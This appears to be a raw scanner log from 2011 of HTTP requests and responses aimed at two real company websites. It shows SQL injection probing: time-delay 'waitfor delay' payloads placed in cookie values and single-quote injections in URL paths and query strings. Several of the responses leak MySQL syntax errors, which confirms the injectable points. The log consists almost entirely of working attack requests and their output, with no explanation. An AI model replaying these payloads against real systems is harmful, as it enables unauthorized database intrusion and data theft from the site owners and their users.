Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.3.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; DefaultCulture=en-US; Mode=1; EventingStatus=1waitfor%20delay'0%3a0%3a20'--; NavId=0; PortletId=0; SiteId=0; ZoneId=0

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:33:21 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1844; path=/
Set-Cookie: PortletId=5981402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48748

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...

GET /professionals/uniGC.aspx?xpST=ProfessionalSearch HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1',0,0)waitfor%20delay'0%3a0%3a20'--; NavId=1838; PortletId=5975402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; ZoneId=7; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.1.10.1304742363

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:30:31 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Set-Cookie: sessionKey=3dc8e81d-f541-4b27-b4dc-f2ceacc23a78; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 172253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...

GET /professionals/uniGC.aspx?xpST=ProfessionalSearch HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1838; PortletId=5975402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; ZoneId=7',0)waitfor%20delay'0%3a0%3a20'--; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.1.10.1304742363

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:27:28 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Set-Cookie: sessionKey=6d620d41-9034-454a-8d58-923aa7816ed0; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 172253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...

GET /professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=K HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=K
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1'waitfor%20delay'0%3a0%3a20'--; __utmc=267908375; __utmb=267908375.6.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=0; PortletId=0; SiteId=1837; ZoneId=0

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:53:44 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 66359

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...

GET /favicon.ico' HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC; __utma=94003201.1070057693.1303147760.1303147760.1304727090.2; __utmb=94003201.1.10.1304727090; __utmc=94003201; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:18:36 GMT
Connection: Keep-Alive
Content-Length: 27688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/favicon.ico''' at line 1)<br>
...[SNIP]...

GET /financing'/images/powerline_bg.png HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 27717
Date: Fri, 06 May 2011 19:12:53 GMT
X-Varnish: 1128246861
Age: 0
Connection: keep-alive
Via: 1.1 varnish 172.17.2.234
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)<br>
...[SNIP]...

GET /financing''/images/powerline_bg.png HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 29453
Date: Fri, 06 May 2011 19:12:54 GMT
X-Varnish: 1128247139
Age: 0
Connection: keep-alive
Via: 1.1 varnish 172.17.2.234
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...

GET /financing/images'/powerline_bg.png HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 27716
Date: Fri, 06 May 2011 19:12:59 GMT
X-Varnish: 1128247898
Age: 0
Connection: keep-alive
Via: 1.1 varnish 172.17.2.234
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)<br>
...[SNIP]...

GET /financing/images''/powerline_bg.png HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 29451
Date: Fri, 06 May 2011 19:13:00 GMT
X-Varnish: 1128248119
Age: 0
Connection: keep-alive
Via: 1.1 varnish 172.17.2.234
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...

GET /financing/images/powerline_bg.png' HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:13:05 GMT
Connection: Keep-Alive
Content-Length: 27752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/financing/images/powerline_bg.png''' at line 1)<br>
...[SNIP]...

GET /financing/images/powerline_bg.png'' HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:13:06 GMT
Connection: Keep-Alive
Content-Length: 29451

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...

GET /financing/images/powerline_bg.png?1'=1 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:12:40 GMT
Connection: Keep-Alive
Content-Length: 27720

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)<br>
...[SNIP]...

GET /financing/images/powerline_bg.png?1''=1 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:12:41 GMT
Connection: Keep-Alive
Content-Length: 29451

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...

GET /financing'/index.php HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:16:42 GMT
Connection: Keep-Alive
Set-Cookie: X-Mapping-chcfmbmj=5B2E5297969312085019D619C67F4E55; path=/
Content-Length: 27703

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)<br>
...[SNIP]...

GET /financing/index.php' HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:17:06 GMT
Connection: Keep-Alive
Set-Cookie: X-Mapping-chcfmbmj=B8515BBB2946B5A0577F4A036E8F8BD5; path=/
Content-Length: 27724

